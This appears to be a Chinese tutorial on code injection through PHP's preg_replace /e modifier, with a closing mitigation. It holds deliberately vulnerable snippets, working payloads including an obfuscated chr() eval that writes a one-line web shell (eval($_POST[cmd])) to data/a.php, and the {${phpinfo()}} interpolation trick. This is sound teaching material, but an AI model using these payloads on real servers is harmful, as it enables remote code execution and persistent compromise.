要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误

 

 

preg_replace函数原型： 

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) 

特别说明： 

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码（在适当的逆向引用替换完之后）。提示：要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。 

举例： 

复制代码代码如下:

<?php 

preg_replace ("/(</?)(w+)([^>]*>)/e", 

"\1.strtoupper(\2).\3", 

$html_body); 

?> 

这将使输入字符串中的所有 HTML 标记变成大写。 

安全威胁分析： 

通常subject参数是由客户端产生的，客户端可能会构造恶意的代码，例如： 

复制代码代码如下:

<? 

echo preg_replace("/test/e",$_GET["h"],"jutst test"); 

?> 

如果我们提交?h=phpinfo()，phpinfo()将会被执行（使用/e修饰符，preg_replace会将 replacement 参数当作 PHP 代码执行）。 

如果我们提交下面的代码会怎么样呢？ 

?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97). 

chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60). 

chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91). 

chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)) 

密文对应的明文是：fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>); 

执行的结果是在/data/目录下生成一个一句话木马文件 a.php。 

再来一个有难度的例子： 

复制代码代码如下:

<? 

function test($str) 

{ 

} 

echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 

?> 

提交 ?h=[php]phpinfo()[/php]，phpinfo()会被执行吗？ 

肯定不会。因为经过正则匹配后， replacement 参数变为'test("phpinfo")'，此时phpinfo仅是被当做一个字符串参数了。 

有没有办法让它执行呢？ 

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php]，phpinfo()就会被执行。为什么呢？ 

在php中，双引号里面如果包含有变量，php解释器会将其替换为变量解释后的结果；单引号中的变量不会被处理。 

注意：双引号中的函数不会被执行和替换。 

在这里我们需要通过{${}}构造出了一个特殊的变量，'test("{${phpinfo()}}")'，达到让函数被执行的效果（${phpinfo()}会被解释执行）。 

可以先做如下测试： 

复制代码代码如下:

echo "{${phpinfo()}}"; 

phpinfo会被成功执行了。 

如何防范这种漏洞呢？ 

将'test("\1")' 修改为"test('\1')"，这样‘${phpinfo()}'就会被当做一个普通的字符串处理（单引号中的变量不会被处理）。